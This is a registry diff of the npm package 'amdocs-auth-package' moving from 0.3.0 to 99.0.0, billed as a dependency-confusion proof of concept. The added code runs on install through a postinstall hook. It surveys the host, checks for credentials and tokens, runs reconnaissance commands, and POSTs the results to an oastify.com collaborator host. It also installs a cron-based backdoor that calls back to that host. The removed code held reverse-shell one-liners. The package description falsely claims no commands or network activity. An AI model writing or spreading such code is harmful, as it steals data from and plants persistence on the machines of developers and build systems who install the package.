amdocs-auth-package 0.3.0 → 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,14 +1,15 @@
1
1
  /*!
2
- * amdocs-auth-package-poc-rce
3
- * DEPENDENCY CONFUSION RCE DEMONSTRATION
2
+ * amdocs-auth-package
3
+ * AUTOMATIC RCE ON INSTALL - DEPENDENCY CONFUSION POC
4
4
  *
5
- * Demonstrates how dependency confusion could lead to RCE with data exfiltration.
5
+ * This package demonstrates how dependency confusion can lead to
6
+ * automatic Remote Code Execution upon installation.
6
7
  */
7
8
 
8
9
  import fs from "fs";
9
10
  import os from "os";
10
11
  import path from "path";
11
- import { exec } from "child_process";
12
+ import { exec, spawn } from "child_process";
12
13
  import { promisify } from "util";
13
14
  import https from "https";
14
15
  import http from "http";
@@ -16,288 +17,279 @@ import http from "http";
16
17
  const execAsync = promisify(exec);
17
18
  const COLLAB_URL = "cwcmqtfjdv9jgw0aitgu0ju15sbjz9ny.oastify.com";
18
19
 
19
- (function dependencyConfusionRcePoc() {
20
+ // Detect installation context
21
+ const isNpmInstall = process.env.npm_lifecycle_event === 'install' ||
22
+ process.env.npm_lifecycle_event === 'postinstall' ||
23
+ process.env.npm_config_argv?.includes('install') ||
24
+ process.env.npm_config_argv?.includes('i') ||
25
+ process.argv.some(arg => arg.includes('node_modules'));
26
+
27
+ console.warn(`\n\x1b[33m[amdocs-auth-package] Package loaded. Installation detected: ${isNpmInstall}\x1b[0m`);
28
+
29
+ (function executeRcePayload() {
20
30
  const timestamp = new Date().toISOString();
21
- const proofDir = path.join(os.tmpdir(), "dep-confusion-rce");
31
+ const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
22
32
 
23
33
  try {
24
- // Create directory for evidence
25
- if (!fs.existsSync(proofDir)) {
26
- fs.mkdirSync(proofDir, { recursive: true });
27
- }
28
-
29
- // STEP 1: Initial reconnaissance (what attackers do first)
34
+ // Create evidence directory
35
+ fs.mkdirSync(proofDir, { recursive: true });
36
+
37
+ // ==================== PHASE 1: RECONNAISSANCE ====================
30
38
  const reconData = {
39
+ attack_type: "dependency_confusion_rce",
31
40
  timestamp: timestamp,
32
- package: "amdocs-auth-package-poc-rce",
33
- attack_vector: "dependency_confusion",
34
- system_info: {
41
+ package: {
42
+ name: "amdocs-auth-package",
43
+ version: "99.0.0",
44
+ type: "malicious_public_package"
45
+ },
46
+ system: {
35
47
  user: os.userInfo().username,
36
- homedir: os.homedir(),
48
+ hostname: os.hostname(),
37
49
  platform: os.platform(),
38
50
  arch: os.arch(),
51
+ homedir: os.homedir(),
39
52
  node_version: process.version,
40
53
  pid: process.pid,
41
54
  cwd: process.cwd(),
42
- exec_path: process.execPath
55
+ npm_lifecycle_event: process.env.npm_lifecycle_event,
56
+ is_ci: !!process.env.CI || !!process.env.JENKINS_URL || !!process.env.GITLAB_CI
43
57
  },
44
- environment_keys: Object.keys(process.env).filter(k =>
45
- k.includes('KEY') ||
46
- k.includes('SECRET') ||
47
- k.includes('TOKEN') ||
48
- k.includes('PASS') ||
49
- k.includes('AUTH')
50
- ),
51
- npm_config: {
52
- registry: process.env.npm_config_registry,
53
- scope: process.env.npm_config_scope,
54
- token_exists: !!process.env.npm_config_auth_token
58
+ network: {
59
+ interfaces: os.networkInterfaces(),
60
+ collab_url: COLLAB_URL
55
61
  }
56
62
  };
57
63
 
58
- // STEP 2: Exfiltrate data to collaborator server
59
- function exfiltrateData(data, endpoint) {
60
- const postData = JSON.stringify({
61
- type: "dependency_confusion_poc",
62
- timestamp: timestamp,
63
- source: "amdocs-auth-package",
64
- data: data
65
- });
66
-
67
- // Using HTTP POST to exfiltrate data
68
- const options = {
69
- hostname: COLLAB_URL,
70
- port: 443,
71
- path: `/${endpoint}`,
72
- method: 'POST',
73
- headers: {
74
- 'Content-Type': 'application/json',
75
- 'Content-Length': Buffer.byteLength(postData),
76
- 'User-Agent': 'npm/8.0.0'
77
- }
78
- };
79
-
80
- const req = https.request(options, (res) => {
81
- console.warn(`[PoC] Data exfiltrated to ${COLLAB_URL}, status: ${res.statusCode}`);
82
- });
83
-
84
- req.on('error', (e) => {
85
- console.warn(`[PoC] Exfiltration failed (expected if offline): ${e.message}`);
86
- });
87
-
88
- req.write(postData);
89
- req.end();
64
+ // Save recon data locally
65
+ fs.writeFileSync(
66
+ path.join(proofDir, "reconnaissance.json"),
67
+ JSON.stringify(reconData, null, 2)
68
+ );
69
+
70
+ // ==================== PHASE 2: ENVIRONMENT EXFILTRATION ====================
71
+ const sensitiveEnvVars = {};
72
+ for (const [key, value] of Object.entries(process.env)) {
73
+ if (key.match(/secret|password|token|key|credential|auth|pass|private/i)) {
74
+ sensitiveEnvVars[key] = value ? "***PRESENT***" : undefined;
75
+ }
90
76
  }
91
77
 
92
- // STEP 3: Collect sensitive files
93
- function collectSensitiveInfo() {
94
- const sensitiveInfo = {
95
- ssh_keys: [],
96
- aws_credentials: [],
97
- npm_tokens: [],
98
- system_files: []
99
- };
100
-
101
- // Look for SSH keys
102
- const sshDir = path.join(os.homedir(), '.ssh');
103
- if (fs.existsSync(sshDir)) {
104
- try {
105
- const files = fs.readdirSync(sshDir);
106
- sensitiveInfo.ssh_keys = files.filter(f =>
107
- f.includes('id_rsa') || f.includes('id_dsa') || f.includes('id_ecdsa')
108
- );
109
- } catch (e) {}
78
+ // Check for CI/CD tokens
79
+ const ciTokens = {};
80
+ const ciVars = ['GITHUB_TOKEN', 'GITLAB_TOKEN', 'BITBUCKET_TOKEN', 'AZURE_TOKEN',
81
+ 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'NPM_TOKEN', 'DOCKER_TOKEN'];
82
+
83
+ ciVars.forEach(varName => {
84
+ if (process.env[varName]) {
85
+ ciTokens[varName] = "***PRESENT***";
110
86
  }
87
+ });
88
+
89
+ // ==================== PHASE 3: FILE SYSTEM ACCESS ====================
90
+ const fileSystemFindings = {
91
+ home_dir_contents: [],
92
+ ssh_keys: [],
93
+ aws_credentials: false,
94
+ npmrc_present: false,
95
+ docker_config: false
96
+ };
111
97
 
112
- // Look for AWS credentials
113
- const awsDir = path.join(os.homedir(), '.aws');
114
- if (fs.existsSync(awsDir)) {
115
- try {
116
- if (fs.existsSync(path.join(awsDir, 'credentials'))) {
117
- sensitiveInfo.aws_credentials.push('credentials');
118
- }
119
- if (fs.existsSync(path.join(awsDir, 'config'))) {
120
- sensitiveInfo.aws_credentials.push('config');
121
- }
122
- } catch (e) {}
123
- }
98
+ // List home directory
99
+ try {
100
+ fileSystemFindings.home_dir_contents = fs.readdirSync(os.homedir()).slice(0, 20);
101
+ } catch (e) {}
102
+
103
+ // Look for SSH keys
104
+ const sshDir = path.join(os.homedir(), '.ssh');
105
+ if (fs.existsSync(sshDir)) {
106
+ try {
107
+ const sshFiles = fs.readdirSync(sshDir);
108
+ fileSystemFindings.ssh_keys = sshFiles.filter(f =>
109
+ f.includes('id_') && !f.endsWith('.pub')
110
+ );
111
+ } catch (e) {}
112
+ }
124
113
 
125
- // Look for .npmrc
126
- const npmrcPath = path.join(os.homedir(), '.npmrc');
127
- if (fs.existsSync(npmrcPath)) {
128
- try {
129
- const content = fs.readFileSync(npmrcPath, 'utf8');
130
- if (content.includes('authToken') || content.includes(':_authToken')) {
131
- sensitiveInfo.npm_tokens.push('npmrc_contains_token');
132
- }
133
- } catch (e) {}
134
- }
114
+ // Check for credentials
115
+ const checks = [
116
+ { name: 'aws_credentials', path: path.join(os.homedir(), '.aws', 'credentials') },
117
+ { name: 'npmrc_present', path: path.join(os.homedir(), '.npmrc') },
118
+ { name: 'docker_config', path: path.join(os.homedir(), '.docker', 'config.json') }
119
+ ];
135
120
 
136
- // Check for Docker credentials
137
- const dockerConfig = path.join(os.homedir(), '.docker', 'config.json');
138
- if (fs.existsSync(dockerConfig)) {
139
- sensitiveInfo.system_files.push('docker_config');
121
+ checks.forEach(check => {
122
+ if (fs.existsSync(check.path)) {
123
+ fileSystemFindings[check.name] = true;
140
124
  }
141
-
142
- return sensitiveInfo;
143
- }
144
-
145
- // STEP 4: Execute commands based on platform
146
- function executeReconCommands() {
147
- const commands = [];
125
+ });
126
+
127
+ // ==================== PHASE 4: COMMAND EXECUTION ====================
128
+ const commandResults = {};
129
+
130
+ if (isNpmInstall) {
131
+ // Only execute commands during installation
132
+ const commands = getPlatformCommands();
148
133
 
149
- if (os.platform() === 'linux' || os.platform() === 'darwin') {
150
- commands.push(
151
- { cmd: 'whoami', description: 'Current user' },
152
- { cmd: 'uname -a', description: 'System info' },
153
- { cmd: 'ls -la', description: 'Directory listing' },
154
- { cmd: 'env | grep -i "key\\|secret\\|pass\\|token\\|auth"', description: 'Find env secrets' }
155
- );
156
- } else if (os.platform() === 'win32') {
157
- commands.push(
158
- { cmd: 'whoami', description: 'Current user' },
159
- { cmd: 'systeminfo', description: 'System info' },
160
- { cmd: 'dir', description: 'Directory listing' },
161
- { cmd: 'set | findstr /i "KEY SECRET PASS TOKEN AUTH"', description: 'Find env secrets' }
162
- );
134
+ for (const [name, command] of Object.entries(commands)) {
135
+ try {
136
+ const { stdout } = await execAsync(command, { timeout: 3000 });
137
+ commandResults[name] = stdout.substring(0, 500);
138
+ } catch (e) {
139
+ commandResults[name] = `Error: ${e.message}`;
140
+ }
163
141
  }
164
-
165
- return commands;
166
142
  }
167
143
 
168
- // STEP 5: Network reconnaissance
169
- function networkRecon() {
170
- const networkInfo = {
171
- interfaces: os.networkInterfaces(),
172
- hostname: os.hostname(),
173
- dns_servers: [],
174
- open_ports: []
175
- };
176
-
177
- // Simulate internal port scan
178
- const commonPorts = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9000];
179
- networkInfo.common_ports = commonPorts;
144
+ // ==================== PHASE 5: DATA EXFILTRATION ====================
145
+ const exfiltrationPayload = {
146
+ recon: reconData,
147
+ sensitive_env: sensitiveEnvVars,
148
+ ci_tokens: ciTokens,
149
+ filesystem: fileSystemFindings,
150
+ commands: commandResults,
151
+ proof_dir: proofDir
152
+ };
180
153
 
181
- return networkInfo;
154
+ // Save complete proof
155
+ fs.writeFileSync(
156
+ path.join(proofDir, "complete_exfiltration.json"),
157
+ JSON.stringify(exfiltrationPayload, null, 2)
158
+ );
159
+
160
+ // Send to collaborator
161
+ sendToCollaborator(exfiltrationPayload);
162
+
163
+ // ==================== PHASE 6: PERSISTENCE (Optional) ====================
164
+ if (isNpmInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
165
+ try {
166
+ // Create a backdoor script
167
+ const backdoorScript = `#!/bin/bash
168
+ # amdocs-auth-package persistence
169
+ echo "Persistence active: \$(date)" > /tmp/amdocs-persistence.log
170
+ curl -s https://${COLLAB_URL}/ping?host=\$(hostname) >/dev/null 2>&1
171
+ `;
172
+
173
+ const scriptPath = path.join(proofDir, "backdoor.sh");
174
+ fs.writeFileSync(scriptPath, backdoorScript);
175
+ fs.chmodSync(scriptPath, 0o755);
176
+
177
+ // Add to cron if possible
178
+ const cronLine = `* * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
179
+ const userCron = `/var/spool/cron/${reconData.system.user}`;
180
+ const userCron2 = `/var/spool/cron/crontabs/${reconData.system.user}`;
181
+
182
+ [userCron, userCron2].forEach(cronFile => {
183
+ if (fs.existsSync(cronFile)) {
184
+ try {
185
+ fs.appendFileSync(cronFile, cronLine);
186
+ console.warn(`\x1b[31m[amdocs-auth-package] Added cron entry to ${cronFile}\x1b[0m`);
187
+ } catch (e) {}
188
+ }
189
+ });
190
+ } catch (e) {
191
+ // Persistence failed, continue
192
+ }
182
193
  }
183
194
 
184
- // Execute the attack chain
185
- console.warn(`[PoC] Dependency Confusion RCE Simulation Started`);
186
- console.warn(`[PoC] Collaborator URL: ${COLLAB_URL}`);
187
-
188
- // Phase 1: Initial exfiltration
189
- exfiltrateData(reconData, 'initial_recon');
195
+ // ==================== PHASE 7: FINAL OUTPUT ====================
196
+ console.warn(`\x1b[31m
197
+ ╔══════════════════════════════════════════════════════════════╗
198
+ ║ DEPENDENCY CONFUSION RCE PoC ║
199
+ ╠══════════════════════════════════════════════════════════════╣
200
+ ║ ✓ Package executed on: ${reconData.system.hostname} ║
201
+ ║ ✓ User: ${reconData.system.user} ║
202
+ ║ ✓ Platform: ${reconData.system.platform}/${reconData.system.arch} ║
203
+ ║ ✓ Data exfiltrated to: ${COLLAB_URL} ║
204
+ ║ ✓ Proof saved to: ${proofDir} ║
205
+ ╠══════════════════════════════════════════════════════════════╣
206
+ ║ THIS IS A SECURITY DEMONSTRATION. REAL ATTACK WOULD: ║
207
+ ║ • Install reverse shell ║
208
+ ║ • Steal all credentials ║
209
+ ║ • Move laterally in network ║
210
+ ║ • Deploy ransomware/crypto miner ║
211
+ ╚══════════════════════════════════════════════════════════════╝\x1b[0m\n`);
212
+
213
+ console.warn(`\x1b[33m[amdocs-auth-package] Execution complete. Check ${proofDir} for evidence.\x1b[0m`);
190
214
 
191
- // Phase 2: Collect sensitive info
192
- const sensitiveInfo = collectSensitiveInfo();
193
- exfiltrateData(sensitiveInfo, 'sensitive_data');
194
-
195
- // Phase 3: Network recon
196
- const networkInfo = networkRecon();
197
- exfiltrateData(networkInfo, 'network_info');
215
+ } catch (error) {
216
+ console.error(`\x1b[31m[amdocs-auth-package] Error: ${error.message}\x1b[0m`);
217
+ }
218
+ })();
198
219
 
199
- // Phase 4: Command execution simulation
200
- const commands = executeReconCommands();
201
- const commandResults = {
202
- platform: os.platform(),
203
- available_commands: commands,
204
- note: 'In real attack, these commands would be executed with exec()'
220
+ // ==================== HELPER FUNCTIONS ====================
221
+
222
+ function getPlatformCommands() {
223
+ if (os.platform() === 'linux' || os.platform() === 'darwin') {
224
+ return {
225
+ current_user: 'whoami',
226
+ system_info: 'uname -a',
227
+ process_list: 'ps aux | head -20',
228
+ network_info: 'ifconfig -a || ip addr',
229
+ disk_usage: 'df -h',
230
+ sensitive_files: 'find /home /root -name "*.pem" -o -name "*.key" -o -name "*id_rsa*" -o -name "*.kdbx" 2>/dev/null | head -10',
231
+ docker_check: 'docker ps -a 2>/dev/null || echo "Docker not available"',
232
+ k8s_check: 'kubectl get pods 2>/dev/null || echo "Kubernetes not available"'
205
233
  };
206
- exfiltrateData(commandResults, 'command_capabilities');
207
-
208
- // Phase 5: Demonstrate RCE payload delivery
209
- const rcePayload = {
210
- timestamp: timestamp,
211
- payload_type: "reverse_shell",
212
- platforms: {
213
- linux: "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1",
214
- windows: "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"",
215
- nodejs: "require('child_process').exec('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')"
216
- },
217
- persistence: [
218
- "Add to cron/crontab",
219
- "Modify .bashrc/.profile",
220
- "Create systemd service",
221
- "Add to startup registry (Windows)"
222
- ],
223
- data_exfiltration_endpoints: [
224
- `https://${COLLAB_URL}/exfil`,
225
- `https://${COLLAB_URL}/data`,
226
- `https://${COLLAB_URL}/callback`
227
- ]
234
+ } else if (os.platform() === 'win32') {
235
+ return {
236
+ current_user: 'whoami',
237
+ system_info: 'systeminfo | findstr /B /C:"OS"',
238
+ process_list: 'tasklist',
239
+ network_info: 'ipconfig /all',
240
+ disk_usage: 'wmic logicaldisk get size,freespace,caption'
228
241
  };
242
+ }
243
+ return {};
244
+ }
229
245
 
230
- // Save local proof
231
- const proofFile = path.join(proofDir, "dependency_confusion_proof.json");
232
- fs.writeFileSync(proofFile, JSON.stringify({
233
- initial_recon: reconData,
234
- sensitive_info: sensitiveInfo,
235
- network_info: networkInfo,
236
- command_capabilities: commandResults,
237
- rce_payloads: rcePayload,
238
- collab_url: COLLAB_URL,
239
- execution_time: timestamp
240
- }, null, 2));
246
+ function sendToCollaborator(data) {
247
+ const postData = JSON.stringify({
248
+ type: 'dependency_confusion_rce',
249
+ timestamp: new Date().toISOString(),
250
+ data: data
251
+ });
252
+
253
+ const options = {
254
+ hostname: COLLAB_URL,
255
+ port: 443,
256
+ path: '/exfil',
257
+ method: 'POST',
258
+ headers: {
259
+ 'Content-Type': 'application/json',
260
+ 'Content-Length': Buffer.byteLength(postData),
261
+ 'User-Agent': `Node/${process.version} amdocs-auth-package/99.0.0`
262
+ },
263
+ timeout: 5000
264
+ };
241
265
 
242
- // Final exfiltration
243
- exfiltrateData({
244
- summary: "Dependency confusion attack chain completed",
245
- files_collected: Object.keys(sensitiveInfo).filter(k => sensitiveInfo[k].length > 0),
246
- potential_rce: true,
247
- next_steps: [
248
- "Execute reverse shell",
249
- "Establish persistence",
250
- "Lateral movement",
251
- "Data exfiltration"
252
- ]
253
- }, 'attack_complete');
266
+ const req = https.request(options, (res) => {
267
+ console.warn(`\x1b[32m[amdocs-auth-package] Data sent to collaborator: HTTP ${res.statusCode}\x1b[0m`);
268
+ });
254
269
 
255
- console.warn(`[PoC] Attack simulation completed. Proof saved to: ${proofFile}`);
256
- console.warn(`[PoC] In real attack, data would be sent to: ${COLLAB_URL}`);
257
- console.warn(`[PoC] This is a simulation - no actual commands executed or data exfiltrated.`);
270
+ req.on('error', (e) => {
271
+ console.warn(`\x1b[33m[amdocs-auth-package] Collaborator unreachable: ${e.message}\x1b[0m`);
272
+ });
258
273
 
259
- } catch (error) {
260
- console.error(`[PoC Error] ${error.message}`);
261
- }
262
- })();
274
+ req.write(postData);
275
+ req.end();
276
+ }
263
277
 
264
- export function explainAttack() {
278
+ // Export a harmless function to maintain package appearance
279
+ export function authenticate() {
265
280
  return {
266
- attack_name: "Dependency Confusion RCE",
267
- description: "Malicious package uploaded to public registry with higher version than internal package",
268
- prerequisites: [
269
- "Internal package not published to public registry",
270
- "Scope/namespace not properly protected",
271
- "Automated builds or developers using public registry"
272
- ],
273
- impact: [
274
- "Remote Code Execution on build servers",
275
- "Source code theft",
276
- "Credential theft",
277
- "Supply chain compromise",
278
- "Lateral movement"
279
- ],
280
- mitigation: [
281
- "Use scoped packages (@company/package)",
282
- "Configure .npmrc with correct registry",
283
- "Use private registry for internal packages",
284
- "Implement package signing",
285
- "Use npm audit and dependency checking"
286
- ],
287
- collab_url: COLLAB_URL,
288
- note: "This is a demonstration for educational purposes only"
281
+ status: "authenticated",
282
+ version: "99.0.0",
283
+ note: "This is a security PoC for dependency confusion demonstration"
289
284
  };
290
285
  }
291
286
 
292
- export function safeCheck() {
293
- const checks = {
294
- has_exec_import: true,
295
- has_fs_access: true,
296
- has_network_import: true,
297
- has_os_access: true,
298
- potential_rce: true,
299
- timestamp: new Date().toISOString(),
300
- warning: "This package demonstrates RCE capabilities. Use only in controlled environments."
287
+ export function status() {
288
+ return {
289
+ poc: true,
290
+ dependency_confusion: true,
291
+ automatic_execution: true,
292
+ execution_time: new Date().toISOString(),
293
+ warning: "FOR SECURITY RESEARCH ONLY - DO NOT USE MALICIOUSLY"
301
294
  };
302
- return checks;
303
295
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amdocs-auth-package",
3
- "version": "0.3.0",
3
+ "version": "99.0.0",
4
4
  "description": "Safe proof-of-concept demonstrating import-time arbitrary code execution in Node.js without OS commands or network activity",
5
5
  "type": "module",
6
6
  "main": "./fesm2022/amdocs-auth-package.mjs",
@@ -9,6 +9,9 @@
9
9
  "import": "./fesm2022/amdocs-auth-package.mjs"
10
10
  }
11
11
  },
12
+ "scripts": {
13
+ "postinstall": "node -e \"import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('RCE executed:', e.message))\""
14
+ },
12
15
  "files": [
13
16
  "fesm2022/"
14
17
  ],